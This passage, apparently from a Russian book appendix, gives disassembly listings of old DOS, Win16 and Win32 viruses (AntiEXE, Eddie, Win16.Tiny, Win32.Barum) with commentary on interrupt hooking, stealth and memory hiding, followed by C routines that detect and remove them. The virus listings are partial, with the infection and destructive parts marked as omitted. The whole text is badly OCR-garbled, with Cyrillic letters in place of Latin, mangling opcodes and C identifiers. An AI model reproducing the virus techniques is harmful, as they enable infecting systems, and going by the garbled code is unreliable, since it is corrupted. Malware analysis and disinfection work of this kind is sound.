; оригинальному обработчику.

1пи 003(1
]с Еггог
ризп'

; Проверить код операции, при помоши которой

002С 2Е:АЗ 0007

0030 СО 03 
0032 72 4А 
0034 9С
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0035
003В

; осушествлялся доступ к диску. Дело в том, 
; что вирус обрабатнвает только результат 
; чтения дисковмх секторов (а(1=2).

2Е:80 ЗЕ 0008 02 сшр с з :8ауе_АХ+1,2 ; Это
76 40 зпе ОК ; сигнатура!

Бьло вьшолнено чтение какого-то сектора 
с дискетн или винчестера в буфер памяти 
с адресом ЕЗ:8Х.

Далее випояняются сравнение содержимого 
прочитанного буфера с уникальной сигнатурой 
некой ЕХЕ-программн и порча этого содержимого,
если сравнение успешно. За это действие
вирус и получил свое имя АпИЕХЕ. (Фрагмент
пропутен)

0070 83 Ғ9 01 стр сх, 1
0073 75 08 ]пе ОК
0075 80 ҒЕ 00 стр О М
0078 75 03 ]пе ОК
007А Е8 0004 са !1 51:еа11:(1
0070 0К;
0070 90 рор^
007Е Еггог:
00 7Е СА 0002 геХТ 2

Эта процедура непосредственно вьполняет
обработку операции чтения секторов. Ее
назначение: 1 ) если прочитан какой-нибудь
сектор дискетн, то заразить ее; 2) если
прочитан загрузочний сектор винчестера,
то заменить информацию в прочитанном буфере
памяти ложной.

ЗГеаШ :
0081 50 риз(1 ах
0082 53 визИ Ьх
0083 51 ризй сх
0084 52 0113(1 Ох
0085 1Е ризй 03
0086 06 оинИ ез
0087 56 ризй 51
0088 57 риз(1 01
0089 06 ринМ ез
008А 1Ғ рор 0з

Сраенить прочитанное содержимое буфера
с кодом самого вируса.

008В 2Е:А1 0000 тоу ах,сз:31:аг1:
008Ғ ЗВ 07 сгар ах,[Ьх]
0091 75 18 ]пе Мо1:Ме
0093 2Е.А1 0002 по^ ах,сз:51:аг-[+2
0097 38 47 02 стр ах,[Ьх+2]
009А 75 0Ғ ]пе НссМе
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009С
00А0
ООА4
00А7

00А9

0102 
0105 
0107 
010А 
0100

010Е 
010Е 
010Ғ 
0110 
0111 
0112
0113
0114
0115
0116

0117 
0119 
011В

011Ғ 
0123

0127
0128 
012А 
012В 
012Ғ
0130
0131

8В 8Ғ 0004 
8А 87 0006 
В8 0201 
СО 03

ЕВ 63

Если сравнение проало успеино, то эагрузить в 
регистрн координатц спрятанного оригинапьного 
загрузчика и повторно внполнить операцию чтения 

*оу сх,[йх+4]
иоу йП,ГЬх+6]
люу а х ,201(1
1пг *  003(1

В результате содержииое буфера заменено 
тем, что "должно бнть", а не тем, что 
'есть на самом деле".

]ир 5ПоП  ЯеТигп
НоТИе:

Далее следует фрагмент заражения дискетм 
(основная часть его пропутена).

Сохранить оригинальннй загрузчик дискети 
на ней же.

В8 0301 Я10У ах, 301(1
33 08 хог Ьх.Ьх
В9 0001 тоу с х ,1
2А Ғ6 зиЬ С)(1,Й(1
СО 03 т г 00311

; Вмйти из процедурн, восстановив
Ветигп:

5Ғ рор Й1
5Е рор 51
07 рор ез
1Ғ рор йз
5А рор бх
59 рор сх
5В рор Ьх
58 рор ах
СЗ ге1 п

; С этой точки вирус фактически
; начинает свое вмполнение.
ВедШ:

33 ҒҒ хог (11. <11
8Е ОҒ ШОУ йз ,(11
04 16 004С 1ез Й х.[4С(1]

; Сохранить прежнее значение
; вектора преривания 13(1 в векторе

89 16 034С ЛЮУ 01=з_13,с)х
8С 06 034Е Л10У 8ед_13,ез

; Изменить положение стека
ҒА С11
8Е 07 1ЛОУ 35, Й1
ВЕ 7С00 Л10У з ! , 7С0011
8В Е6 Л10У зр, 51
ҒВ З П

1Е р и з (1 03

56 р и 5й 31

03(1.
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0132 56 риз(1 31

; Скрнть от системной памяти
; фрагмент размером в 1 Кб

0133 А1 0413 лю у ах,[413Н]
0136 48 йес ах
0137 АЗ 0413 шоу [413(1], ах

; Рассчитать сегментннй адрес
; скрнтого фрагмента памяти

01ЗА В1 06 шо̂  с1,6
01ЗС 03 Е0 5111 ах,с1
013£ 8Е С0 я о у  ез.ах

0140
0143
0149

014А 
0140 
014Е
0151
0152

АЗ 004Е 
С7 06 004С 
50

В8 0155 
50
В9 0100
ғс
ҒЗ/А5

; Установить собственнмй, вирусннй 
; обработчик дискового прернвания 

шоу [4ЕН ], ах
0027 шоу [4С Ь ], оТтзеТ Неи13

ри5)1 ах
; Скопировать свой код из 0.7С00 
; в скритнй фрагмент памяти

тоу
ризИ
ПОУ
с1й
гер

ах.о^зе!
ах
сх, 100(1

Сору2

0154 СВ

шоузи
; Виполнить длинннй переход в 
; скрнтую к о п т  вируса, на метку Сору2 

гет?
; Эта часть вируса внполняется, будучи 
; расположена в скрнтом фрзгменте памяти 
Сору2:

0155 33 со хог ах,ах
0157 8Е со тоу ез.ах
0159 С0 03 1п1: 003(1
0158 0Е риз(1 сз
015С 1Ғ рор йз
0150 В8 0201 тоу ах, 20111
0160 58 рор 6х

; Извлечь сохраненннй во вреия прошлого
; заражения признак источника эагрузки:
; с винчестера или с дискеть.

0161 88 0Е 0004 ЯОУ сх, Зауе_СХ
0165 83 Ғ9 0Э сгар СХ,00(1
0168 75 06 ]пе Ғгот_Ғ00

Ғгош_Н00:
016А ВА 0080 ШОУ ЙХ, 80(1
0160 С0 03 1пТ ООЗП
016Ғ Со_0иг:
016Ғ СВ геТ^

0170

Этот фрагмент вьтопняется, 
управление после загрузки 
вирус сразу же попнтается 

Ғгот_Ғ00:

если вирус получил 
с дискетн. 1еперь 
заразить винчестер.
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0170 2В 02 8иЬ йх.йх
0172 8А 36 0006 ШОУ ЙИ,8аче_0Н
0176 СВ 03 У * 003(1
0178 72 Ғ5 )с 0о_0и1:

; Прочитать иэ сектора 0/0/1 винчестера
; оргинальнмй эагрузчик.

017А 0Е ризЬ сз
017В 07 рор ез
017С В8 0201 ШОУ ах, 201)1
017Ғ ВВ 0200 шоу Ьх,200И
0182 В9 0001 ШОУ сх, 1
0185 ВА 0080 ГЛОУ с)х, 80(1
0188 С0 03 т г 003(1
018А 72 ЕЗ ]С Со_0и1:

; Сравнить первие байти прочитанного загрузчика
; с первими байтани вируса: не заражен ли
; винчестер уже?

018С 33 Ғ6 хог 31,31
018Е А0 1ойзм
018Ғ ЗВ 07 сшр ах,[Ьх]
0191 75 06 ]пе ИоТ.ЕО
0193 А0 1ос)зм
0194 ЗВ 47 02 сглр ах,[Ьх+2]
0197 74 06 зе 8о_0иг

; Сохранить оригинальний загрузчик в секторе
; с координатами 0/ 0/ 00(1.

Мог_Е0:
0199 В9 0000 ШОУ СХ,00(1
019С 89 0Е 0004 люи 8ауе_СХ,сх
01А0 В8 0301 тоУ ах,301Н
01АЗ 50 риз(1 ах
01А4 С0 03 1П1 003(1

Записать вирусний код в загрузочннй сектор 
винчестера (этот фрзгмент пропуцен).

01В0 СВ геН

; Р а П Ш о п  ТаЬ1е еинчестера 
01ВЕ ?? 0Ь 64 йир (?)

; Признак загрузочного сектора 
01ҒҒ АА 55 31дпОК Йм 55Аа1п

1.2. Листинг вируса ЕЛсНе, заражаюшего программм 
М З -й О З

0100 зтаг*:
0100 Е9 0288 ]т р  геа!_51:агт
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; Здесь располагался код заражвнной дрозофили 

0388 геа1_зтаг[:
; Клаосичеокое внчисление смецения тела вируса в памяти
038В Е8 0000 са11 зиЬ_1
038Е зи0_1 ргос пеаг
038Е 5В рор Ьх
038Ғ 83 ЕВ 03 зиЬ Ьх,3
; Адресация на таблицу векторов прернваний
0392 50 ризп ах
0393 28 С0 зиЬ ах.ах
0395 8Е С0 ЯОУ ез.ах
; Сохранение внутри вируса старих значений вектора 21П
0397 26: А1 0084 ШОУ ах.ез: [84(1]
039В 2Е: 89 87 027С 1ЛОУ С5:йаТа_6[Ьх],ах
03А0 26: А1 0086 ггт ах.ез: [86)1]
03А4 2Е: 89 87 027Е шоу иогй рТг сз:аага_6+2[Ьх],ах
; Ироизнесение "пароля'
03А9 В8 А55А 1ЛОУ ах ,0А55А(1
ОЗАС С0 21 21(1
; Проверка "отзива"
ОЗАЕ 30 5АА5 стр ах,5АА5Ь
03В1 74 43 ]е 1ос_1
; "Отзьша" не бало, следовательно, вирусу требуется 
; резидентная установка в память (пропувдена)

; Копирование тела вируса в виделенний фрагмент памяти 
030Е В9 0140 тоу сх, У1г1еп/2 ; 140(1
03Е1 ҒС с1й
03Е2 2Е; ҒЗ/ А5 гер ш оуб«

03Е5 8С С0 шоу ах.ез
03Е7 8Е С1 иоу ез.сх
; Замена вектора 21(1 ссилкой на резидентний вирусний обработчик 
03Е9 ҒА с И
03ЕА 26: С7 06 0084 ООА7 и о у  могй рТг ез:[84И], Не»21 ; 0А7п
03Ғ1 26: АЗ 0086 шоу е з :[86(1] ,а х
03Ғ5 ҒВ 5Т1
; Фрагмент возврааения управления программе-носител»
03Ғ6 1ос_1:
03Ғ6 1Е рцзь йз
03Ғ7 07 рор ез
; Проверка типа поограмми-носителя: ЕХЕ ипи С0М?
03Ғ8 2Е: 8В 8 7 0288 то^ ах,сз:0а1:а_12[Ьх]
ОЗҒй ЗИ 5А40 сяр ах,5А40(1
0400 74 14 эе 1ос_2
0402 30 405А сшр ах,4В5АП
0405 74 0Ғ ]е 1ос_2
; Передача управления на СОМ-программу
0407 ПВҒ 0100 61,10011
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040А 89 05 ШОУ [О И .ах
040С 8А 87 028А ЯОУ аЬЬуге  р !г  аага_14[Ьх]
0410 88 45 02 ЛЮУ [01+2], а1
0413 58 рор ах
0414 57 ризИ
0415 СЗ геТп
; Передача управления на ЕХЕ-программу
0416 1ос_2:
0416 58 рор ах
0417 8С 0А ЯОУ йх.йз
0419 83 С2 10 айй ЙХ, 10(1
041С 2Е: 01 97 0282 айй иогй рТг с8:йаТ:а_8+2[[>х],0х
0421 2Е: 03 97 0286 айс йх,сз:()а1:а_11[Ьх]
0426 8Е 02 ЛЮУ 38,йх
0428 2Е: 8В А7 0284 тоу зр,сз:()а1:а_10[Ьх]
0420 2Е: ҒҒ АҒ 0280 1<чр йиогй р-Ьг сз: ааТа_8[Ьх]

; Вируснай обработчик прернвания 21(1 (первие его байтн -  сигнатура!)
0432 ҒВ ЗТ1
0433 30 4В00 стр ах,4В00Н ;; Это запуск программм?
0436 74 51 зе 1ос_8
0438 80 ҒС 11 стр а(1, 11(1 ; Это поиск первого файла?
043В 74 00 1е 1ос_3
0430 80 ҒС 12 стр аП, 12(1 ; Это поиск следуюцего файла?
0440 74 08 эе 1ос_3
0442 30 А55А стр ах,0А55А(1 ; Это эапрос ''пароля''?
0445 74 ЗҒ Эе 1ос_7
0447 Е9 019А ]тр 1ос_26

; Элемент зиеаКЬ-технологии, санрстоятеяьная обработка сервисов 
1111/12(1
044А 1ос_3:
044А 9С ризМ
0448 2Е: ҒҒ 1Е 027С с а Н йиогй рТ
0450 84 С0 Тез1: а1,а1
0452 75 31 3 П2 1ос_геТ_(
0454 50 риз(1 ах
0455 53 ризп Ьх
0456 06 риз(1 ез
0457 8В 0А шоу Ьх.йх
0459 8А 07 то^ а1,[Ьх]
045В 50 риз(1 ах
; Каково время создания найденного файла?
045С В4 2Ғ то^ а(1,2Ғ(1
045Е СО 21 1П1 21(1
0460 58 рор ах
0461 ҒЕ СО 1ПС а1
0463 75 03 Зпг 1ос_4
0465 83 СЗ 07 айй Ьх, 7
0468 1ос_4:
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; Единственная проверка: содержит ли время ооздания 61 секунду?
0468 26: 8В 47 17 тои ах.ез:[Ьх+17М]
046С 24 1Ғ апй а1,1ҒЬ
046Е ЗС 1Ғ сшр а1,1ҒН
0470 75 10 ]пе 1ос_5
; Модификация информации о длине зараженного файла
0472 26: 80 67 17 Е0 апй ЬуТе р1:г ез:[Ьх+17П],0Е011
0477 26: 81 6Ғ 10 028В зиЬ иогй р-Сг ез:[Ьх+10П],28В(1
0470 26: 83 5Ғ 1Ғ 00 зЬЬ «гогй ртг ез:[Ьх+1ҒЬ],0
0482 1ос_5:
0482 07 рор ез
0483 5В рор Ьх
0484 58 рор ах
0485 1ос_геТ_.6:
0485 СҒ 1 ге1:
; Возврат правильного "отзива" в ответ на ''пароль”
0486 1ос_7:
0486 Ғ7 00 пот ах
0488 СҒ 1геТ

; Эдесь фрагмент инфицирования запускаемих программ (пропушен) 
1ос_8:

; Передача управления оригинальному обработчику по сохраненному адресу 
05Е4 1ос_26:
05Е4 2Е: ҒҒ 2Е 027С ]ир йиогй ргг сз:йаТа_6

; Обработчик системннх ошибок
1пТ_24_ет:гу:

05Е9 ВО 03 тоу а1,3
05ЕВ СҒ 1гег

; Раздел данннх
05ҒВ 45 64 64 69 65 йо 'ЕйсЛе'
0600 20 6С 69 76 65 73 00 ЙЬ 'Ц у е з '

1.3. Листинг вируса \АГт16Жш!]пу.Ь, 
заражаю!цего ИЕ-профамми
00030000: 9С ЗТагГ: ризЬГ ; Первне 10 байтов -  сигнатура !!!
00030001: 60 ризйа
00030002: 1Е ризЬ йз
00030003: 06 ризП ез
; Доступнм ли сервиси 0РМ1 ?
00030004: В88616 иоу а х ,01686
00030007: С02Ғ ш т 02Ғ
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00030009: 0ВС0 ог ах .ах
0003000В: 7409 V Iг  ; На вирус
; Возврат управления "жертве"
00030000: 07 Ғ Ш зЬ : рор ез
ОООЗОООЕ: 1Ғ рор йз
ОООЗОООҒ: 61 рора
00030010: 90 рорҒ
; Переход на лрограмму-носитель
00030011: ЕА0000ҒҒҒҒ }тр 0ҒҒҒҒ:00000 ; Перемецаемая ссьшка !!!

; Здесь фрагмент инициализации вируса
00030016: В80105 У1 г: шоу а х .00501
00030019: В9ҒҒҒҒ люУ сх.ОҒҒҒҒ ; Длина
0003001С: ЗЗОВ хог Ьх.Ьх
; Распределить в 0РМ1-памяти фрагмент длиной 64 Кб
0003001Е: С031 031
; Поместить линейннй 32-битовмй адрес в стек
00030020: 56 ризИ 51
00030021: 57 ризИ Й1
00030022: 53 ризИ Ьх
00030023: 51 риз(1 сх
00030024: ЗЗСО хог ах .ах
00030026: В90100 шоу с х ,00001
; Создать в ЮТ пустой дескриптор
00030029: С031 1пг 031
0003002В: 8808 шоу Ьх.ах
00030020: В80700 шоу а х ,00007
00030030: 5А рор йх
00030031: 59 рор сх
00030032: С031 1п1 831
; Адресовать его на новнй сегмент
00030034: В80800 шоу а х ,00008
00030037: ВАҒҒҒҒ ш оу й х , 0ҒҒҒҒ
0003003А: ЗЗС9 хог с х .с х
; Установить лимит сегмента
ОООЗООЗС: С031 1п1: 031
ОООЗООЗЕ: В80900 по» а х ,00009
00030041: В1Ғ2 яюу с1,0Ғ2 ; Флаги г/«
00030043: згвй  хог сП.сП
; Установить для сегмента битм чтения и записи 
00030045: С031 1 «  031
; Эагрузить селектор в 03, теперь в этом сегменте даннне вируса 
00030047: 8Е0В точ йз.Ьх

00030049: 8Ғ060200 рор [00002]
00030040: 8Ғ060000 рор [00000]
; Определить средствами МЗ-008 теедую  ОТА
00030051
00030053
00030055

В42Ғ шоу а(1,02Ғ
С021 т т  021
891Е0400 тоу [00004],Ьх
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00030059: 8С060600 тоУ [00006], ех
00030050: 844Е ПОУ аЬ,04Е
0003005Ғ: ЗЗС9 хог сх, сх
00030061: ВА9802 шоу йх,оТТзе! Мазк
00030064: 1Е риз(1 йз
00030065: 0Е ризИ сз
00030066: 1Ғ рор Й5
; Искать по маске 1-ий файл
00030067: С021 1П1 021
00030069: 1Ғ рор йз
0003006А: 7314 зае Тп^ес! ; Продолжить работу
; Файл не найден, на завершение
0003006С: Е81802 са11 НетЗ ; Удаление сегмента
0003006Ғ: ЕВ9С ]тр Ғ1П13(1 ; На конец
00030071: В43Е поу аН.ОЗЕ
00030073: С021 гпг 021
; Искать следуюций файл
00030075: В44Ғ шоу аь,04Ғ
00030077: С021 1П1 021
00030079: 7305 ]ае ТпТесг ; Продолжить работу
0003007В: Е80С02 саЦ ВетЗ ; Удаление сегмента
0003007Е: ЕВ80 ]ШрЗ 000030000 ; На конец

; Здеоь фрагмент инфицирования файлов (пропутен) 
00030080: 1Е ТпГесг:

; Удаление вирусного сегмента 
0003028А: В80205 ВешЗ: тоу а х ,00502
00030280
00030291

8В360000
8ВЗЕ0200

; Удалить сегмент 
00030295: С031 
00030297: СЗ

шоу 31,[00000] 
поу Й1,[00002]

1П1 031
гетп

; Константн вируса
00030298 Мазк ЙЬ '- .Е Х Е ',0
0003029Е СоруН!; ЙЬ 'Ш пПпу (С)Соруг1дИ  ^пе, 1995 Ьу Вигд1аг 1п Та1ре1, Та1*йП.

1.4. Листинг вируса №т32.Вагит.1536, 
заражаюшего РЕ-профаммм

згагг:
Е800000000 са11 000404205

404200 
404200 
404205: 50 
404206: 8В00 
404208: 81Е005104000

40020Е: 81ЕВ

рор
тоу
зиЬ

еЬр
еЬх,еьр 
еЬр,000401005

йм Е881

Вичисление дельта-смешения

Здесь байть сигнатури М : 
Распределить е стеке место под 
даннни
Код команду зиЬ е&х, ???????? -
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400210 ???????? ск) ???????? это довмчисление дельта-смечения
404214 88 ЙЬ В8 Код команди ш оу еах, ????????
404215 ???????? йй ???????? +1511: Здесь старий ВУА точки входа
404219 озсз аба еах,еЬх Полннй НУА точки входа
40421В 50 риз(1 еах Ломестить адрес в стек
40421С Е80В000000 са11 00040422С Лоиск адресов в КЕВМЕ132.0И
404221 Е884000000 са11 0004042АА Виполнение деструктивннх действий
404226 Е808000000 са11 000404303 Поиск и инфицирование файлов
40422В СЗ гег Воэврат в программу-носитель

; Функция строит таблицу адресов по адресу, указанному в ей! (пропуцено) 
40422С ВиИ<)АР1ТаВ1е:

4042А5 СЗ ге1:п

; Функция 6 марта удавляет файли в системной директории УЛпйожз (пропушено) 
4042АА Рау1оай:

404302 СЗ ге1п

; Функция ицет и инфицирует файлм (пропучено) 
404303
404303 Гп^есг:

4044СЗ СЗ ге1:п

; Блок даннмх вируса

4046СА аКегпе132_<Л1 ЙЬ 'КЕЙНЕ1.32. Й11', 0
404607 а0еттойи1еЛап01 ЙЬ '0егИойи1еНапй1еА',0
4046Е8 аСеТтос)и1е(1ап_0 ЙЬ ' (ЗеТМойи 1еНапй 1еМ',  0
4046Ғ9 абегргосаййгезз ЙЬ 'СеТРгосАййгезз',0
404708 ЙЬ 00(1, ОАП
40470А аВазапВитТеккеп ЙЬ '[  Вазап Вит ]',00П,0А(1
40470А ЙЬ 'Т еккеп ',27(1,' Типе еШ: по 1аг1пезз.. . '.ООМ АИ
40470А ЙЬ 'С еТ ЗузтетП те ', 0
404748 а0е1е1еШ еа ЙЬ '0е1е1:еҒ11еА' ,0
404754 аСетсиггеп1:й1 ге ЙЬ '6е1:Сиггепг01гес1:огуА', 0
404769 аСет«1пйо«за1ге аь 'ЗеТУтйоизСхгесТогуА ' ,0
40477Е аҒШ Т ^ гзГШ е а ЙЬ 'Ғ1пйҒ1гз1:Ғ11еА',0
404780 аҒ1пбпех1:Т11еа аь 'ҒхпйНехтҒИ еА ', 0
40479В аҒ1пйс1озе ЙЬ ‘ Ғ1пйС1озе’ ,0
4047А5 аСгеатеШ еа ЙЬ 'С ге а теҒИ е А ', 0
4047В1 аСгеаТеШ етарр ЙЬ 'СгеаТеҒИеМаррхпдА', 0
4047С4 аМару1е»оШ1е ЙЬ 'МарУ1еи01Ғ11е',0
404702 аЦпгсарутеиоТТП аь 'илтарУ^еиОТҒПе', 0
4047Е2 аС1озеПапй1е ЙЬ 'С1озеНапй1е',0
4047ЕЕ а_ехе ЙЬ ' * .ехе ' ,0
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2. Исхоанью текстъ! антивирусньк 
проиедур
В приложении приведени минимальнме вариантм исходннх тек- 
стов антивирусннх процед)ф, не содержавдие отладочннх сообвде- 
ний, контроля ошибок и т. п. Они отлаженн с использованием бес- 
платно распространяемнх компиляторов ВоНапй С/С++ у1.01 ( д л я  

МЗ-БОЗ) и Вог1ап<1 С/С++ у5.5 ( д л я  \^1пс1от).

2.1. Процедурм рекурсивного сканирования 
каталогов
Вариантдля М5-Б05:
(Ипс1ийе <й1 г.
#1пс1ийе <ооз. (1>

ипзгдпей 1опд ТоТа1=0г сигей=0;

уо1с) ма1к(сЬаг *01г, сГгаг .Иазк) {
1 ПТ ок; вГгисТ Т О И  ЬиТ;

С(1б1Г(01Г);
0к = Т1ПЙТ1г5Т(Ма51<, &йиТ, ҒА_01ВЕС|ҒА_Н1В0ЕМ|ҒА_8УЗТЕМ|ҒА_АВСН)ҒА_В00Н1У); 
ккГШе (ок!=-1) {

1Т (ЬиТ. ТТ_аТ1:г1Ь&ҒА_01НЕС) (
1Т (ЬиТ.ТТ_паше[0]! = '. ')  иа1к(ЬиТ.ТТ_паше, Мазк);

>
е1зе <

1Т ( 1пТес1:еО(ЬиТ.ТТ_пате)) { сиге(ЬиТ.ТТ_пате); сигей++; >
1ога1++;

>
ок = Т1п0пех1:(&ЬиТ);

>
с Ш г ( " . ." ) ;

>
Вариант д л я  ^ЛпсЬчге:
#1пс1и0е <м1пйо»з.!1>

ипз!дпей 1опд 1о1:а1 = 0, сигеб = 0;

уоЮ ма1к(с(1аг »01г, сМаг *Мазк) {
_М1Н32_Ғ1М>_0АТА ЬиТ; НАИ01Е Ь;

ЗеТСи г геп1:01гес1:огу (01 г ) ;

1 Т ((п=Ғ1п0Ғ1Г81:Ғ11е(Ма8к, &ЬиТ))==1№/А1Ю_НАМ01£_УАШЕ) геШ гп;
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«ИИе (1) {

хТ (ЬиС. ймҒПеАП  ПЬиТез & ҒПЕ_.АТШВЦТЕ_01ВЕСТ0ЯУ) {
(ЬиТ.сҒПеМашеСО] I -  «аХКЬиТ.сҒПеМате, Иазк );

>
е1зе {

1Т (1пТес1:ев(ЬиТ. сҒПеНате)) { сиге(ЬиТ. сҒПеНате); сигей++; }
Юга1++;

}
1Т (!Ғ1пйИех1:Ғ11е(П, &ЬиТ)) Ьгеак;

>
Ғ1пйС1озе(М);
5е1СиггепЮ1гес1:огу(".." );

>

2.2. Процедурм детектирования и лечения вируса 
Воо(.Ап1|Ехе
сПаг 31дп_ап1:1ехе_п1еп1[]={0х2Е, 0x80,ОхЗЕ, 0x00,0x08,0x02,0x75,0x40};
1П1; 1пТес1ес1_ап1:1ехе_тет() { / /  Есть вирус в памяти?
1П1: 1;
Тог (1=0;1<8;1++) 1Т (реекЬ(0х9ҒС0, 0х35+1)!=з1дп_ап1:1ехе_1чет[1]) ге1игп 0; 
гетигп 1;

!

спаг рагсп_ап1:1ехе_тет[]={0x90. 0x90, 0x90, 0x90, 0x90, 0x90, ОхЕВ, 0x40); 
сиге_апг1ехе_теи|() { / /  Пропатчить память, обезвредив вирус 
хпг 1;
Тог (1=0;1<8;1++) рокеЬ(0х9ҒС0, 0x35+1, вагсИ_апТ1ехе_теш[1]);

>

1П1: 1пТес1:ес1_ап1:1ехе(1п1: с)еу) { / /  Поиск на устройстве А=1, 8=1, Н00=0х80 
ипз1дпе<) сИаг ЬиТ[512];
Ь1озй1зк( 2, йеу, 0, 0, 1, 1, ЬиТ );
1Т (!зТгпсп1р(&ЬиТ[0х35], з1дп_ап1:1ехе_тет, 8 )) гегигп 1; е1зе геТигп 0;

>
хпи сиге_ап1:1ехе(1п1 йеу) { / /  Восстановление загрузочного сектора 
ипз1дпеб сЬаг ЬиТ[512];
Ь1озв1зк( 2, йеу, 0, 0, 1, 1, ЬиТ );
ЬюзсИзк( 2, йеу, ( 1п1:)ЬиТ[6], (1п1)ЬиТ[5], (1п1:)ЬиТ[4], 1, ЬиТ );
Ь1озйхзк( 3, йеу, 0, 0, 1, 1, ЬиТ ); / /  Запись

>

2.3. Процедурм детектирования и лечения вируса 
Ес1с1|е.651.а
Наименования полей М2-заголовка дано по гипертекстовому спра- 
вочнику «ТесЬНе1р», поскольку файл «\У1пп(:.Ь> не прилагается 
к МЗ-БОЗ-компиляторам.
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#1пс1ийе <1о.Н>
*1пс1ийе <Тсп11 .11>
#1пс1ийе <з1Ппд. п>
#1пс1ийе < з у з \з т .Г |>

зИгист ехе { ипзхдпей 1п1: ЕхеНеай, Раг1:Рад, РадеСШ:, Ве1оСп1:, Н0г$12е, ШпНега, 
ИахМеш, 8е1о35, ЕхеЗР, СПкЗив, Ехе1Р, Ве1оСЗ, ТаЬЮТТ, 0уег1ау; }

_е;
зггист сош { ипз1дпей сйаг ]шр; ипз1дпей 1п1: ге1; ипз1дпей сИаг г[25]; } _с; 
ип1оп Ьед { зтгист ехе е; зтгист сош с; };

ипз1дпе0 сИаг зхдп_еай1е[]={0хҒВ, 0x30, 0х(Ю, 0х4В, 0x74, 0x51, 0x80, ОхҒС, 0x11, 0x74}; 
1пг 1пТес1:е(1_ес1с)1е(сИаг *з) { / /  Поиск вируса в файле 
Ш  Т; 1опд р = 0; ип10п Ьед И; ипз1дпей с(1аг ЬиТ[10];
Т = ореп( з, 0_В0ИВ, 3_1ВЕАО|3_1МВ1ТЕ); 
геай(Т, &(), 31геоТ(ип1оп Ьед)); / /  Читать начало файла 
1Т (И.е.ЕхеНеас(==0х5А4В) / /  Это ЕХЕ 

р=((1опд)И.е.Нйг312е+( 1опд)(1. е.Ве1оСЗ)*16+(1опд)(1.е. Ехе1Р;
1Т ((1.с, ]шр=0хЕ9) / /  Это СОМ с иМР в начале 

р=(1опд) (1. с. ге1 + 3;
1Т (!р ) ге1игп 0; / /  Это не СОМ и не ЕХЕ
18еек( Т, р+ОхА7, ЗЕЕК_ЗЕТ ); / /  На положение сигнатури
геас!(Т, ЬиТ, 10 ); / /  Читать байтн
с1озе(Т);
1Т <!з!:гпстр(ЬиТ, з1дп_ейй1е, 10)) 

геТигп 1; / /  Сигнатура не совпала 
е1зе

гегигп 0; / /  Сигнатура совпала
}
У01й сиге_еОй1е ( с м г  *з) { / /  Удаление вируса из файла 

1пг Т; 1опд р = 0; ипхоп Ьед (1;
Т = ореп( з, 0_В0МВ, 3_1ВЕАВ|3_ЮВ1ТЕ); 
геай(Т, &(1, з12еоТ(ип1оп Ьед)); / /  Читать начало файла 
1Т (й.е. ЕхеНеас1==Ох5А40) { / /  Это ЕХЕ 

р=((1опд)Ь.е.Нйг812е+(1опд))1.е.Ве1оСЗ)*16+(1опд)(1.е.Ехе1Р;
1зеек(Т, р+0х280, ЗЕЕК_ЗЕТ);
геай(Т, &(1.е.Ехе1Р, 2); / /  Прочитать спрятаннме Ехе1Р 
геай(Т, *(1.е.Ве1оС8, 2); / /  и Не1оС5

}
1Т ((1,сошр==0хЕ9) { / /  Это С0М 

р=(1опд) (1. с. ге1 + 3;
1зеек(Т, р+0х288, 5ЕЕК_ЗЕТ);
геай(Т, &(1.с .]тр , 1); / / Прочитать спрятанние
геай(Т, &(1.с.ге1, 2); / /  начальнье байти файла

}
1зеек(Т, 0, ЗЕЕК_ЗЕТ);
мп1:е(Т, &п, 81геоТ((|)); / /  Восстановить начало файла 
1зеек(Т, р, ЗЕЕК_ЗЕТ);
_*(Г11:е(Т, М11И, 0); / /  Запись 0 байтов усекает файл
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с1озе(Т);

);

У01й с!е1:всг_эпс1_ои ге_гаеш_ейс)1е ( ) { / /  Поиск вируса в памяти и удалвние его 
иШоп ВЕ68 1г, ог; згги с ! 5ВЕ83 зг; ипз1дпей хпг гуре, згге , з, 1 ; 
хг. 11.8(1=0x52; 1пг86х(0х21, &1г, &ог, &зг); 
з = реек(зг.ез, о г.х .Ьх -2 ); / /  Адрес 1-го МСВ
иМ1е (1) { / /  Пройти цепочку МСВ до конца
1уре = реекЬ (з, 0); / /  Тип МСВ
812е = реек (з, 3); / /  Размер МСВ
з+=з12в+1; / /  На следуюший МСВ
1Т (гуре == Ч ' ) Ьгеак; / /  Последний МСВ 
>
1Т ((з<0х9ҒҒҒ) && !з1:гпстр((с(1аг *) МК_ҒР(з, 0хА7), з1дп_ейа1е, 10))

Тог (1=0;К 16;1++) рокеЬ(з, 0хА7+1, 0x90); / /  Патчить память кодами И0Р
>

2.4. Процедурь! детектирования и лечения вируса 
У1Лп.У№п4пу.Ь
Здесь и далее наименования полей М2-заголовка данн в соответ- 
ствии с содержимьш файла «\утп1.Ь». Тип чпе\^_г1с* описан в за- 
головочном файле «пе\уехе.Ь», которьш поставляется вместе с ком- 
пиляторами от МкгозоЛ и \Уа(сот, но отсутствует в продуктах от 
Войапё. Поэтому описание типа приведено ниже.
#хпс1ис!е <и1п<1о*з. (1>
#1пс1и<1е <«1ппт:.
К1пс1ийе <з1:й1о.(1>
#1пс1ийе <Тсп-С1.(|>
#1пс1ис1е <зуз/з1:а1:. П>
#1пс1ийе <10. Н>

ипз1дпе0 сПаг з1дп_1:1пу[]={0х9С, 0x60, 0х1Е, 0x06, 0хВ8, 0x86, 0x16, ОхСО, 0х2Ғ, ОхОВ}; 
згги сг з_гаЬ1е { М0И0 пз_зес1:ог, пз_сЬзед, пз_Т1адз, п з л п а П о с ;  }; 
зггис!: пем_г1с {сИаг пг_з1:уре, пг_Т1адз; ипз1дпей зИоП: пг_зоТТ; сЬаг пг_зедпо, 
пг_гез; ипзХдпей зпогт пг_еп1:гу; }; 
и то п  сз_1р { М0Й0 и[2]; 0М0Й0 сз!р; };

_1МАСЕ_008_НЕА0ЕЙ т 2_(|; / /  005-заголовок 
_1МА8Е_052_НЕА0ЕН пе_(1; / /  МЕ-заголовок 
зггисС з_гаЬ1е з_Т; / /  Строка таблица сегментов 
ип1оп сз_1р *а; / /  С51Р, разделенное на СЗ и 1Р
зггисИ пе«_г1с ге1ос; / /  Строка таблица переметаеммх сснлок 

п_ге18; / /  Количество перемешаеммх сснлок
ип$1дпей сЯаг ЬиТ[10]; / /  Вуфер под сигнатуру

уо1 й си ге_ тп Г 1 пу(с(1аг »з) { / /  Удаление вируса иэ файла
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1П1: Т, 1 ; ипз1дпей сЬаг с = 0x90;
Т = ореп(з, 0_ЯМт|0_В1НАНУ, 5_1ВЕА0|3_1МЙХТЕ);
